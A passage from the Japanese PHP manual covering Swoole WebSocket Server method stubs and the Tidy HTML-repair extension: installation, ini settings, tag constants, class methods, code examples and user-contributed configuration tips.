public on ( string $event_name , callable $callback ) : ReturnType
public static pack ( string $data , string $opcode = ? , string $finish = ? , string $mask = ? ) : binary
public push ( string $fd , string $data , string $opcode = ? , string $finish = ? ) : void
public static unpack ( binary $data ) : string
/* 継承したメソッド */
public Swoole\Http\Server::on ( string $event_name , callable $callback ) : void
public Swoole\Http\Server::start ( ) : void
}

目次

  • Swoole\WebSocket\Server::exist — Check if the file descriptor exists.
  • Swoole\WebSocket\Server::on — Register event callback function
  • Swoole\WebSocket\Server::pack — Get a pack of binary data to send in a single frame.
  • Swoole\WebSocket\Server::push — Push data to the remote client.
  • Swoole\WebSocket\Server::unpack — Unpack the binary data received from the client.

User Contributed Notes

There are no user contributed notes for this page.


Check if the file descriptor exists.

  • ≪ Swoole\WebSocket\Server
  • Swoole\WebSocket\Server::on ≫
  • PHP Manual
  • Swoole\WebSocket\Server
  • Check if the file descriptor exists.

Swoole\WebSocket\Server::exist

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::exist — Check if the file descriptor exists.

説明

public Swoole\WebSocket\Server::exist ( int $fd ) : bool

パラメータ

fd

返り値

User Contributed Notes

There are no user contributed notes for this page.


Register event callback function

  • ≪ Swoole\WebSocket\Server::exist
  • Swoole\WebSocket\Server::pack ≫
  • PHP Manual
  • Swoole\WebSocket\Server
  • Register event callback function

Swoole\WebSocket\Server::on

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::on — Register event callback function

説明

public Swoole\WebSocket\Server::on ( string $event_name , callable $callback ) : ReturnType

Register event callback function

パラメータ

event_name

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get a pack of binary data to send in a single frame.

  • ≪ Swoole\WebSocket\Server::on
  • Swoole\WebSocket\Server::push ≫
  • PHP Manual
  • Swoole\WebSocket\Server
  • Get a pack of binary data to send in a single frame.

Swoole\WebSocket\Server::pack

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::pack — Get a pack of binary data to send in a single frame.

説明

public static Swoole\WebSocket\Server::pack ( string $data , string $opcode = ? , string $finish = ? , string $mask = ? ) : binary

パラメータ

data

opcode

finish

mask

返り値

User Contributed Notes

There are no user contributed notes for this page.


Push data to the remote client.

  • ≪ Swoole\WebSocket\Server::pack
  • Swoole\WebSocket\Server::unpack ≫
  • PHP Manual
  • Swoole\WebSocket\Server
  • Push data to the remote client.

Swoole\WebSocket\Server::push

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::push — Push data to the remote client.

説明

public Swoole\WebSocket\Server::push ( string $fd , string $data , string $opcode = ? , string $finish = ? ) : void

パラメータ

fd

data

opcode

finish

返り値

User Contributed Notes

There are no user contributed notes for this page.


Unpack the binary data received from the client.

  • ≪ Swoole\WebSocket\Server::push
  • Tidy ≫
  • PHP Manual
  • Swoole\WebSocket\Server
  • Unpack the binary data received from the client.

Swoole\WebSocket\Server::unpack

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::unpack — Unpack the binary data received from the client.

説明

public static Swoole\WebSocket\Server::unpack ( binary $data ) : string

パラメータ

data

返り値

User Contributed Notes

There are no user contributed notes for this page.


Tidy

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • Tidy の例
  • tidy — tidy クラス
    • tidy::body — Tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返す
    • tidy::cleanRepair — パースされたマークアップに設定に基く誤りの修正を行う
    • tidy::__construct — 新しい tidy オブジェクトを作成する
    • tidy::diagnose — パース、修正されたマークアップの診断を行う
    • tidy::$errorBuffer — 指定したドキュメントのパースで発生した警告とエラーを返す
    • tidy::getConfig — 現在の Tidy の設定を取得する
    • tidy::getHtmlVer — 指定したドキュメントで検出された HTML バージョンを取得する
    • tidy::getOpt — Tidy ドキュメントについて指定した設定オプションの値を返す
    • tidy::getOptDoc — 与えられたオプション名に対するドキュメントを返す
    • tidy::getRelease — Tidy ライブラリのリリース日 (バージョン) を取得する
    • tidy::getStatus — 指定したドキュメントのステータスを取得する
    • tidy::head — Tidy パースツリーの <head> タグから始まる tidyNode オブジェクトを返す
    • tidy::html — Tidy パースツリーの <html> タグから始まる tidyNode オブジェクトを返す
    • tidy::isXhtml — ドキュメントが XHTML ドキュメントかどうかを示す
    • tidy::isXml — ドキュメントが一般的な XML ドキュメント (非 HTML/XHTML) かどうかを示す
    • tidy::parseFile — ファイルまたは URI にあるマークアップをパースする
    • tidy::parseString — 文字列にストアされたドキュメントをパースする
    • tidy::repairFile — ファイルを修正し、それを文字列として返す
    • tidy::repairString — 別途提供される設定ファイルを使用して文字列を修正する
    • tidy::root — Tidy パースツリーのルートを表す tidyNode を返す
  • tidyNode — tidyNode クラス
    • tidyNode::__construct — Private constructor to disallow direct instantiation
    • tidyNode::getParent — カレントノードの親ノードを返す
    • tidyNode::hasChildren — ノードが子を持つかどうかを調べる
    • tidyNode::hasSiblings — このノードが兄弟ノードを持つかどうかを調べる
    • tidyNode::isAsp — このノードが ASP かどうかを調べる
    • tidyNode::isComment — このノードがコメントを表すものかどうかを調べる
    • tidyNode::isHtml — このノードが HTML要素 であるかどうかを調べる
    • tidyNode::isJste — このノードが JSTE であるかどうかを調べる
    • tidyNode::isPhp — このノードが PHP であるかどうかを調べる
    • tidyNode::isText — このノードが (マークアップでない) テキストであるかどうかを調べる
  • Tidy 関数
    • ob_tidyhandler — バッファを修正するための ob_start コールバック関数
    • tidy_access_count — 指定したドキュメントについて発生したTidyアクセシビリティ警告の数を返す
    • tidy_config_count — 指定したドキュメントについて発生した Tidy 設定エラーの数を返す
    • tidy_error_count — 指定したドキュメントについて発生した Tidy エラーの数を返す
    • tidy_get_output — パースされた Tidy マークアップを表す文字列を返す
    • tidy_warning_count — 指定したドキュメントについて発生した Tidy 警告の数を返す

User Contributed Notes

anon 13-Feb-2019 08:44
Configuration options in http://tidy.sourceforge.net/docs/quickref.html are obsoletes.

Actual configuration options are here:
http://api.html-tidy.org/tidy/quickref_5.0.0.html
sirmonko at tapirpirates dot net 28-May-2009 12:59
here are the configuration options for tidy:
http://tidy.sourceforge.net/docs/quickref.html


はじめに

Tidy は、「Tidy HTML clean and repair utility」のバインディングです。 オブジェクト指向のモデルを使って、HTML, XHTML, XML文書の誤りを直すだけでなく、 操作することやドキュメントツリーを走査することもできます。 文書は、PHP や ASP のような組み込みスクリプト言語が入ったものも対象です。

User Contributed Notes

There are no user contributed notes for this page.


要件

Tidyを使用するには、libtidyがインストールされている必要があります。 libtidyは、» tidyのホームページ で入手可能です。 PHP 7.1.0 以降は、HTML5 を認識する後継 » libtidy5 もかわりに使えます。 PHP 7.3.0 以降は、別のオプションとして » libtidyp も使えます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールは PHP 5 以降にバンドルされており、configure オプション --with-tidy を指定すればインストールすることができます。

User Contributed Notes

krzysztof at madejscy dot pl 16-May-2018 11:26
On Ubuntu 17.10 and php 7.1:
sudo apt install libtidy-dev libtidy5 php-tidy
Anonymous 05-Feb-2014 07:06
On Redhat-ish linux, you must install both libtidy and libtidy-devel (PHP 5.x):
sudo yum install libtidy libtidy-devel


実行時設定

php.ini の設定により動作が変化します。

Tidy の設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
tidy.default_config | "" | PHP_INI_SYSTEM |
tidy.clean_output | "0" | PHP_INI_USER | PHP 5.4.0 以前は PHP_INI_PERDIR が利用可能です。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

tidy.default_config string

tidy 設定ファイルへのデフォルトパス

tidy.clean_output bool

Tidy による出力の修正のオン/オフを切り替える

警告

もし動的な画像のような HTML ではないコンテンツを生成する場合、 tidy.clean_output をオンにしないでください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

それぞれの TIDY_TAG_XXX は HTML タグに相当します。 例えば、 TIDY_TAG_A は "<a href="XX">link</a>" タグに相当します。

以下の定数が定義されています。

tidy タグ定数
定数 | 備考
TIDY_TAG_UNKNOWN |
TIDY_TAG_A |
TIDY_TAG_ABBR |
TIDY_TAG_ACRONYM |
TIDY_TAG_ALIGN |
TIDY_TAG_APPLET |
TIDY_TAG_AREA |
TIDY_TAG_ARTICLE | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_ASIDE | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_AUDIO | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_B |
TIDY_TAG_BASE |
TIDY_TAG_BASEFONT |
TIDY_TAG_BDI | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_BDO |
TIDY_TAG_BGSOUND |
TIDY_TAG_BIG |
TIDY_TAG_BLINK |
TIDY_TAG_BLOCKQUOTE |
TIDY_TAG_BODY |
TIDY_TAG_BR |
TIDY_TAG_BUTTON |
TIDY_TAG_CANVAS | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_CAPTION |
TIDY_TAG_CENTER |
TIDY_TAG_CITE |
TIDY_TAG_CODE |
TIDY_TAG_COL |
TIDY_TAG_COLGROUP |
TIDY_TAG_COMMAND | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_COMMENT |
TIDY_TAG_DATALIST | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_DD |
TIDY_TAG_DEL |
TIDY_TAG_DETAILS | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_DFN |
TIDY_TAG_DIALOG | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_DIR |
TIDY_TAG_DIV |
TIDY_TAG_DL |
TIDY_TAG_DT |
TIDY_TAG_EM |
TIDY_TAG_EMBED |
TIDY_TAG_FIELDSET |
TIDY_TAG_FIGCAPTION | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_FIGURE | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_FONT |
TIDY_TAG_FOOTER | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_FORM |
TIDY_TAG_FRAME |
TIDY_TAG_FRAMESET |
TIDY_TAG_H1 |
TIDY_TAG_H2 |
TIDY_TAG_H3 |
TIDY_TAG_H4 |
TIDY_TAG_H5 |
TIDY_TAG_H6 |
TIDY_TAG_HEAD |
TIDY_TAG_HEADER | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_HGROUP | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_HR |
TIDY_TAG_HTML |
TIDY_TAG_I |
TIDY_TAG_IFRAME |
TIDY_TAG_ILAYER |
TIDY_TAG_IMG |
TIDY_TAG_INPUT |
TIDY_TAG_INS |
TIDY_TAG_ISINDEX |
TIDY_TAG_KBD |
TIDY_TAG_KEYGEN |
TIDY_TAG_LABEL |
TIDY_TAG_LAYER |
TIDY_TAG_LEGEND |
TIDY_TAG_LI |
TIDY_TAG_LINK |
TIDY_TAG_LISTING |
TIDY_TAG_MAIN | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_MAP |
TIDY_TAG_MARK | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_MARQUEE |
TIDY_TAG_MENU |
TIDY_TAG_MENUITEM | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_META |
TIDY_TAG_METER | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_MULTICOL |
TIDY_TAG_NAV | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_NOBR |
TIDY_TAG_NOEMBED |
TIDY_TAG_NOFRAMES |
TIDY_TAG_NOLAYER |
TIDY_TAG_NOSAVE |
TIDY_TAG_NOSCRIPT |
TIDY_TAG_OBJECT |
TIDY_TAG_OL |
TIDY_TAG_OPTGROUP |
TIDY_TAG_OPTION |
TIDY_TAG_OUTPUT | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_P |
TIDY_TAG_PARAM |
TIDY_TAG_PLAINTEXT |
TIDY_TAG_PRE |
TIDY_TAG_PROGRESS | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_Q |
TIDY_TAG_RB |
TIDY_TAG_RBC |
TIDY_TAG_RP |
TIDY_TAG_RT |
TIDY_TAG_RTC |
TIDY_TAG_RUBY |
TIDY_TAG_S |
TIDY_TAG_SAMP |
TIDY_TAG_SCRIPT |
TIDY_TAG_SECTION | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_SELECT |
TIDY_TAG_SERVER |
TIDY_TAG_SERVLET |
TIDY_TAG_SMALL |
TIDY_TAG_SOURCE | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_SPACER |
TIDY_TAG_SPAN |
TIDY_TAG_STRIKE |
TIDY_TAG_STRONG |
TIDY_TAG_STYLE |
TIDY_TAG_SUB |
TIDY_TAG_SUMMARY | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_SUP |
TIDY_TAG_TABLE |
TIDY_TAG_TBODY |
TIDY_TAG_TD |
TIDY_TAG_TEMPLATE | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_TEXTAREA |
TIDY_TAG_TFOOT |
TIDY_TAG_TH |
TIDY_TAG_THEAD |
TIDY_TAG_TIME | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_TITLE |
TIDY_TAG_TR |
TIDY_TAG_TRACK | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_TT |
TIDY_TAG_U |
TIDY_TAG_UL |
TIDY_TAG_VAR |
TIDY_TAG_VIDEO | libtidy 5.0.0 で追加されました。PHP 7.4.0 以降で利用可能です
TIDY_TAG_WBR |
TIDY_TAG_XMP |

tidy ノード型定数
定数 | 説明
TIDY_NODETYPE_ROOT | ルートノード
TIDY_NODETYPE_DOCTYPE | 文章型
TIDY_NODETYPE_COMMENT | HTML コメント
TIDY_NODETYPE_PROCINS | 処理命令
TIDY_NODETYPE_TEXT | テキスト
TIDY_NODETYPE_START | 開始タグ
TIDY_NODETYPE_END | 終了タグ
TIDY_NODETYPE_STARTEND | 空タグ
TIDY_NODETYPE_CDATA | CDATA
TIDY_NODETYPE_SECTION | XML セクション
TIDY_NODETYPE_ASP | ASP コード
TIDY_NODETYPE_JSTE | JSTE コード
TIDY_NODETYPE_PHP | PHP コード
TIDY_NODETYPE_XMLDECL | XML 宣言

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • Tidy の例

User Contributed Notes

Dmitri Snytkine cms.lampcms.com 23-Dec-2009 02:26
Important notice about configuration options:
If you read the quickref on this page:
http://tidy.sourceforge.net/docs/quickref.html
you may get an idea that the boolean values for config options can be set as 'y' or 'yes' or 'n' or 'no'
but that's not true for the tidy extension in php.

Boolean values MUST be set only as true or false (without quotes or cause), otherwise tidy just ignores your configuration. It will not raise any error or warning but will just ignore your 'yes' or 'no' values.

For example, this config array will not have the desired effect:
<?php $config = array('drop-proprietary-attributes' => 'yes'); ?>

You must set option to true:
<?php $config = array('drop-proprietary-attributes' => true); ?>
Brad 03-Mar-2009 12:50
Cleaning an html fragment (OO support seems to half-arsed for now)

This will ensure all tags are closed, without adding any html/head/body tags around it.

<?php
$tidy_config = array(
                     'clean' => true,
                     'output-xhtml' => true,
                     'show-body-only' => true,
                     'wrap' => 0,

                     );

$tidy = tidy_parse_string($html_fragment, $tidy_config, 'UTF8');
$tidy->cleanRepair();
echo $tidy;
?>
nicolas [at] adaka [dot] fr 25-Nov-2008 01:33
That seems to be the correct config to symply tidy an HTML fragment (in a valid XHTML syntax) :

<?php
    $tidy_config    =    array(
        'clean'                            =>    true,
        'drop-proprietary-attributes'    =>    true,
        'output-xhtml'                    =>    true,
        'show-body-only'                =>    true,
        'word-2000'                        =>    true,
        'wrap'                            =>    '0'
    );
?>
dan [@t] authenticdesign [d_o_t] net 22-Aug-2008 10:44
If you're just looking for a quick and dirty way to output HTML code you created in a formatted way use this technique...

<?php
$html = 'a chunk of html you created';
$config = array(
            'indent'         => true,
            'output-xml'     => true,
            'input-xml'     => true,
            'wrap'         => '1000');

// Tidy
$tidy = new tidy();
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();
echo tidy_get_output($tidy);
?>

... This seemed to get the result I wanted every time.


Tidy の例

このシンプルな例は、Tidy の基本的な使い方を示しています。

例1 Tidy の基本的な使用法

<?php
ob_start();
?>
<html>a html document</html>
<?php
$html = ob_get_clean();

// 設定
$config = array(
           'indent'         => true,
           'output-xhtml'   => true,
           'wrap'           => 200);

// Tidy
$tidy = new tidy;
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();

// 出力
echo $tidy;
?>

User Contributed Notes

mmeisam at gmail dot com 25-Oct-2020 11:58
If you're using tidy to clean up your HTML but only want your string formatted and not the whole html and head tag, you can use the following configuration array:

<?php
$config = [
    'indent'         => true,
    'output-xhtml'   => false,
    'show-body-only' => true
];

$tidy = new tidy;
$tidy->parseString($your_html_code, $config, 'utf8');
$tidy->cleanRepair();

echo $tidy;
?>
gk at anuary dot com 22-Feb-2014 10:56
If you are looking for HTML beautifier (a tool to indent HTML output produced by your script), Tidy extension might not be the right tool for the job.

First and foremost, you should not be using either Tidy or alternatives (e.g. HTML Purifier) in the production code. HTML post procession is relatively resource demanding task, esp. if the underlying implementation relies on DOM API. However, beyond performance, HTML beautification in production might hide far more serious output issues that will be hard to trace back, because output will not align with the input.

If you are indenting to use indentation (consistent, readable formatting of the output) for development purposes only then you might consider implementation that relies on regular expression. I have written, https://github.com/gajus/dindent for this purpose. The difference between earlier mentioned implementation and the latter is that regular expression based implementation does not attempt to sanitise, validate or otherwise manipulate your output beyond ensuring proper indentation.
i dot c dot lovett at NOSPAM dot gmail dot com 12-Mar-2012 08:22
Anyone trying to specify "indent: auto" as documented at http://tidy.sourceforge.net/docs/quickref.html#indent

<?php
$tidy_options = array('indent' => 'auto'); // WILL NOT WORK
$tidy_options = array('indent' => 2); // equivalent of auto

$tidy = new Tidy();
$tidy->parseString($html, $tidy_options);
?>


tidy クラス

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

はじめに

HTML ファイル中の HTML ノードで、tidy が検出したものです。

クラス概要

tidy {
/* プロパティ */
public string $errorBuffer;
/* メソッド */
public __construct ( string|null $filename = null , array|string|null $config = null , string|null $encoding = null , bool $useIncludePath = false )
public body ( ) : tidyNode|null
public cleanRepair ( ) : bool
public diagnose ( ) : bool
tidy_get_error_buffer ( tidy $tidy ) : string|false
public getConfig ( ) : array
public getHtmlVer ( ) : int
public getOpt ( string $option ) : string|int|bool
public getOptDoc ( string $option ) : string|false
public getRelease ( ) : string
public getStatus ( ) : int
public head ( ) : tidyNode|null
public html ( ) : tidyNode|null
public isXhtml ( ) : bool
public isXml ( ) : bool
public parseFile ( string $filename , array|string|null $config = null , string|null $encoding = null , bool $useIncludePath = false ) : bool
public parseString ( string $string , array|string|null $config = null , string|null $encoding = null ) : bool
public static repairFile ( string $filename , array|string|null $config = null , string|null $encoding = null , bool $useIncludePath = false ) : string|false
public static repairString ( string $string , array|string|null $config = null , string|null $encoding = null ) : string|false
public root ( ) : tidyNode|null
}

目次

  • tidy::body — Tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返す
  • tidy::cleanRepair — パースされたマークアップに設定に基く誤りの修正を行う
  • tidy::__construct — 新しい tidy オブジェクトを作成する
  • tidy::diagnose — パース、修正されたマークアップの診断を行う
  • tidy::$errorBuffer — 指定したドキュメントのパースで発生した警告とエラーを返す
  • tidy::getConfig — 現在の Tidy の設定を取得する
  • tidy::getHtmlVer — 指定したドキュメントで検出された HTML バージョンを取得する
  • tidy::getOpt — Tidy ドキュメントについて指定した設定オプションの値を返す
  • tidy::getOptDoc — 与えられたオプション名に対するドキュメントを返す
  • tidy::getRelease — Tidy ライブラリのリリース日 (バージョン) を取得する
  • tidy::getStatus — 指定したドキュメントのステータスを取得する
  • tidy::head — Tidy パースツリーの <head> タグから始まる tidyNode オブジェクトを返す
  • tidy::html — Tidy パースツリーの <html> タグから始まる tidyNode オブジェクトを返す
  • tidy::isXhtml — ドキュメントが XHTML ドキュメントかどうかを示す
  • tidy::isXml — ドキュメントが一般的な XML ドキュメント (非 HTML/XHTML) かどうかを示す
  • tidy::parseFile — ファイルまたは URI にあるマークアップをパースする
  • tidy::parseString — 文字列にストアされたドキュメントをパースする
  • tidy::repairFile — ファイルを修正し、それを文字列として返す
  • tidy::repairString — 別途提供される設定ファイルを使用して文字列を修正する
  • tidy::root — Tidy パースツリーのルートを表す tidyNode を返す

User Contributed Notes

There are no user contributed notes for this page.


Tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返す

  • ≪ tidy
  • tidy::cleanRepair ≫
  • PHP Manual
  • tidy
  • Tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返す

tidy::body

tidy_get_body

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0)

tidy::body -- tidy_get_body — Tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返す

説明

オブジェクト指向型

public tidy::body ( ) : tidyNode|null

手続き型

tidy_get_body ( tidy $tidy ) : tidyNode|null

Tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返します。

例

例1 tidy::getBody() の例

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$body = $tidy->Body();
echo $body->value;
?>

上の例の出力は以下となります。

<body>
<p>paragraph</p>
</body>

参考

  • tidy::head() - Tidy パースツリーの <head> タグから始まる tidyNode オブジェクトを返す
  • tidy::html() - Tidy パースツリーの <html> タグから始まる tidyNode オブジェクトを返す

User Contributed Notes

There are no user contributed notes for this page.


パースされたマークアップに設定に基く誤りの修正を行う

  • ≪ tidy::body
  • tidy::__construct ≫
  • PHP Manual
  • tidy
  • パースされたマークアップに設定に基く誤りの修正を行う

tidy::cleanRepair

tidy_clean_repair

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::cleanRepair -- tidy_clean_repair — パースされたマークアップに設定に基く誤りの修正を行う

説明

オブジェクト指向型

public tidy::cleanRepair ( ) : bool

手続き型

tidy_clean_repair ( tidy $tidy ) : bool

この関数は、与えられた Tidy オブジェクト tidy を修正します。

パラメータ

tidy

Tidy オブジェクト。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 tidy::cleanrepair() の例

<?php
$html = '<p>test</I>';

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

echo $tidy;
?>

上の例の出力は以下となります。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

参考

  • tidy::repairFile() - ファイルを修正し、それを文字列として返す
  • tidy::repairString() - 別途提供される設定ファイルを使用して文字列を修正する

User Contributed Notes

steven at nevvix dot com 07-Aug-2018 05:30
<?php
/**
 * UTF-8 HTML5-compatible Tidy
 *
 * @param string $html
 * @param array $config
 * @param string $encoding
 * @link http://tidy.sourceforge.net/docs/quickref.html
 */
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    if (!extension_loaded('tidy')) {
        throw new \Exception("Tidy extension is missing!");
        return;
    }
    $config += [
        'clean'       => TRUE,
        'doctype'     => 'omit',
        'indent'      => 2, // auto
        'output-html' => TRUE,
        'tidy-mark'   => FALSE,
        'wrap'        => 0,
        // HTML5 tags
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
    ];
    $html = tidy_parse_string($html, $config, $encoding);
    tidy_clean_repair($html);
    return '<!DOCTYPE html>' . PHP_EOL . $html;
}

$html = '<z/><p><a href="#">Link</a></p><p>Second para</p>';
echo tidy_html5($html);

Output:
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <p><a href="#">Link</a></p>
  <p>Second para</p>
</body>
</html>


新しい tidy オブジェクトを作成する

  • ≪ tidy::cleanRepair
  • tidy::diagnose ≫
  • PHP Manual
  • tidy
  • 新しい tidy オブジェクトを作成する

tidy::__construct

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::__construct — 新しい tidy オブジェクトを作成する

説明

public tidy::__construct ( string|null $filename = null , array|string|null $config = null , string|null $encoding = null , bool $useIncludePath = false )

新しい tidy オブジェクトを作成します。

パラメータ

filename

もし filename パラメータが与えられた場合、 この関数はファイルを読み込み、tidy_parse_file() のように実行してファイルに基づいたオブジェクトを初期化します。

config

config には配列あるいは文字列を渡します。 文字列を渡した場合は設定ファイルの名前、 それ以外の場合は設定そのものとして解釈されます。

オプションについての説明は » http://api.html-tidy.org/#quick-reference を参照ください。

encoding

encoding は入出力ドキュメントのエンコーディングを設定します。 指定できるエンコーディング名は ascii、latin0、latin1、 raw、utf8、iso2022、 mac、win1252、ibm858、 utf16、utf16le、utf16be、 big5 および shiftjis です。

useIncludePath

include_path からファイルを探します。

返り値

新しい tidy インスタンスを返します。

変更履歴

バージョン | 説明
8.0.0 | filename, config, encoding, useIncludePath は、nullable になりました。

例

例1 tidy::__construct() の例

<?php

$html = <<< HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <bt />
text</p>
</body></html>

HTML;

$tidy = new tidy();
$tidy->ParseString($html);

$tidy->cleanRepair();

if ($tidy->errorBuffer) {
    echo "The following errors were detected:\n";
    echo $tidy->errorBuffer;
}

?>

上の例の出力は以下となります。

The following errors were detected:
line 8 column 14 - Error: <bt> is not recognized!
line 8 column 14 - Warning: discarding unexpected <bt>

参考

  • tidy::parseFile() - ファイルまたは URI にあるマークアップをパースする
  • tidy::parseString() - 文字列にストアされたドキュメントをパースする

User Contributed Notes

There are no user contributed notes for this page.


パース、修正されたマークアップの診断を行う

  • ≪ tidy::__construct
  • tidy::$errorBuffer ≫
  • PHP Manual
  • tidy
  • パース、修正されたマークアップの診断を行う

tidy::diagnose

tidy_diagnose

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::diagnose -- tidy_diagnose — パース、修正されたマークアップの診断を行う

説明

オブジェクト指向型

public tidy::diagnose ( ) : bool

手続き型

tidy_diagnose ( tidy $tidy ) : bool

与えられた Tidy オブジェクト tidy に対して診断テストを実行し、 エラーバッファにドキュメントについての情報を追加します。

パラメータ

tidy

Tidy オブジェクト。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 tidy::diagnose() の例

<?php

$html = <<< HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<p>paragraph</p>
HTML;

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

// 2 つの出力の違いに注意
echo $tidy->errorBuffer . "\n";

$tidy->diagnose();
echo $tidy->errorBuffer;

?>

上の例の出力は以下となります。

line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
Info: Doctype given is "-//W3C//DTD XHTML 1.0 Strict//EN"
Info: Document content looks like XHTML 1.0 Strict
2 warnings, 0 errors were found!

参考

  • tidy::errorBuffer()

User Contributed Notes

There are no user contributed notes for this page.


指定したドキュメントのパースで発生した警告とエラーを返す

  • ≪ tidy::diagnose
  • tidy::getConfig ≫
  • PHP Manual
  • tidy
  • 指定したドキュメントのパースで発生した警告とエラーを返す

tidy::$errorBuffer

tidy_get_error_buffer

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::$errorBuffer -- tidy_get_error_buffer — 指定したドキュメントのパースで発生した警告とエラーを返す

説明

オブジェクト指向型 (プロパティ):

public string $tidy->errorBuffer;

手続き型:

tidy_get_error_buffer ( tidy $tidy ) : string|false

指定したドキュメントのパースで発生した警告とエラーを返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

エラーバッファを文字列で返します。 バッファが空の場合は false を返します。

例

例1 tidy_get_error_buffer() の例

<?php
$html = '<p>paragraph</p>';

$tidy = tidy_parse_string($html);

echo tidy_get_error_buffer($tidy);
/* オブジェクト指向の場合 */
echo $tidy->errorBuffer;
?>

上の例の出力は以下となります。

line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 1 - Warning: inserting missing 'title' element

参考

  • tidy_access_count() - 指定したドキュメントについて発生したTidyアクセシビリティ警告の数を返す
  • tidy_error_count() - 指定したドキュメントについて発生した Tidy エラーの数を返す
